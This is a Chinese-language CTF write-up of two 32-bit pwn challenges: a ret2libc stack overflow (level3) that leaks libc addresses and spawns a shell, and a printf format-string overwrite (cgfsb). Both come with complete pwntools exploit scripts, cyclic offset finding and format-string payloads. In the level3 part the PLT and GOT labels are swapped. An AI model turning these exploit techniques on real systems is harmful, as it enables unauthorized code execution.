1
2
3
4
5
CANARY    : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

没有栈溢出保护,没有地址随机化,堆栈代码不可执行,我们没办法注入shellcode来执行了。IDA打开附件

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

其中vulnerable_function()

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

Read()存在明显的栈溢出。由于目前我们没有找到可用的system(),所以目前溢出后的返回地址我们还不能确定。

题目中给了我们libc文件,是想让我们利用它,考察 ret2libc

在动态链接的完成后,libc.so文件中的各个函数之间的间隔在编译完成后的 ELF文件 中仍保持不变。因此我们可以利用libc.so中的system()write(),配合我们ELFwrite()函数来获取链接完成之后ELF文件system()函数的绝对地址:system_abs_addr = write_abs_addr - (write_libc_addr - system_libc_addr)

在找到system()之后我们还需要参数/bin/sh

1
2
3
4
brian@brian:~/桌面/adworld/level3$ ROPgadget --binary libc_32.so.6 --string '/bin/sh'
Strings information
============================================================
0x0015902b : /bin/sh

同样的计算方式可以利用间隔不变通过参数在ELF文件中的地址和write()的地址来算出参数最后在程序中的地址。

write_libc_addrsystem_libc_addr 我们可以通过IDA打开附件给的 libc.so 文件来查找其地址。

write_abs_addr 应该去哪里找?这个地址也就是ELF文件中的地址,我们可以通过栈溢出,溢出到write()PLT位置,调用该函数,然后构造参数,来将这个地址打印出来。

1
payload = padding + write_plt_addr + vuln_func_addr + argus

根据32位程序的函数调用顺序可知,padding 之后首先跟的是 write_plt_addr ,这个地址是 write函数在.got中的地址,溢出后控制函数回到这个地址

这里的 argus分别为 1,write_got_addr,4 代表将 write_got_addr 的地址以4个字节进行标准输出。在计算完需要的绝对地址后将函数再次返回到 vuln_fun_addr 方便再次利用栈溢出,调用system()

栈溢出的偏移怎么算呢?除了手动之外今天学了新方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

······
gdb-peda$:
Input:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
······
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6261616b in ?? ()

$ cyclic -l 0x6261616b
# padding 140

通过输入类似于循环的长数据来判断溢出位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "111.200.241.244"
PORT = 50010

if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./level3')

vuln_func_addr = 0x804844B

write_plt_addr = 0x0804A018
write_got_addr = 0x08048340

sh_libc_addr = 0x0015902b
system_libc_addr = 0x0003A940
write_libc_addr = 0x000D43c0

# system_abs_addr = write_abs_addr - (write_libc_addr - system_libc_addr)

# cyclic 200
# cyclic -l 0x6261616b
# padding 140

# payload = padding + write_got_addr + vuln_func_addr + argus
payload1 = 'A'*140 + p32(write_got_addr) + p32(vuln_func_addr) + p32(1) + p32(write_plt_addr) + p32(4)

p.recvuntil("Input:\n")
p.sendline(payload1)

write_abs_addr = u32(p.recv(4))

system_abs_addr = write_abs_addr - (write_libc_addr - system_libc_addr)
print(system_abs_addr)

sh_abs_addr = write_abs_addr - (write_libc_addr - sh_libc_addr)
print(sh_abs_addr)
payload2 = 'A'*140 + p32(system_abs_addr) + p32(4) + p32(sh_abs_addr)

p.recvuntil("Input:\n")
p.sendline(payload2)

p.interactive()
p.close()

cgfsb2

题目描述关于printf(),那肯定还是相关漏洞了。32位文件,保护:

1
2
3
4
5
CANARY    : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

开启了栈溢出保护,堆栈代码不可执行,没有开启地址随机化。IDA打开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]

v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}

很明显的漏洞点printf(&s);,想办法使得if判断成立即可。

明显是要通过格式化字符串漏洞控制内存中某一地址的内容为一特定数字,之前写过相关内容。

先查看pwnme的内存地址为.bss:0x0804A068 。然后通过漏洞泄漏它在栈上的位置

1
2
3
4
5
6
payload = "AAAA" + "%2x "*15
p.recvuntil("leave your message please:\n")
p.sendline(payload)
······
your message is:
AAAAffb3c5ee f7f125c0 ffb3c63c f7f5ba9c 1 f7f2d410 64610001 a6e696d 0 41414141 20783225 20783225 20783225 20783225 20783225

第10个位置我们可以控制,尝试将目标变量的地址整到栈上

1
2
3
4
5
6
7
payload = "\x68\xA0\x04\x08" + " %10$x"
p.recvuntil("leave your message please:\n")
p.sendline(payload)
······
your message is:
h\xa0\x04 804a068
Thank you!

将目标变量地址改为小端序后输入,随后%10$x查看第10个位置的地址信息,发现成功写入地址。

需要控制变量值为8,写完地址后算写进去4字节,还差4字节需要填充:

1
2
3
4
5
6
7
payload = "AAAA\x68\xA0\x04\x08" +"%11$n"
p.recvuntil("leave your message please:\n")
p.sendline(payload)

payload = "\x68\xA0\x04\x08" +"1234%10$n"

payload = "\x68\xA0\x04\x08" +"%4c%10$n"

以上几种都可以,目的都是出了地址外再填充4字节数据。第三个中如果使用%4d 可能会被解释成0000,而不能写入正确数字。

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "111.200.241.244"
PORT = 60208

if len(sys.argv) > 1 and sys.argv[1] == '-r':
p = remote(HOST, PORT)
else:
p = process('./cgfsb')

p.recvuntil("please tell me your name:\n")
p.sendline("admin")

payload = "AAAA\x68\xA0\x04\x08" +"%11$n"
p.recvuntil("leave your message please:\n")
p.sendline(payload)

# p.recvuntil("your message is:\n")
p.interactive()
p.close()

进阶区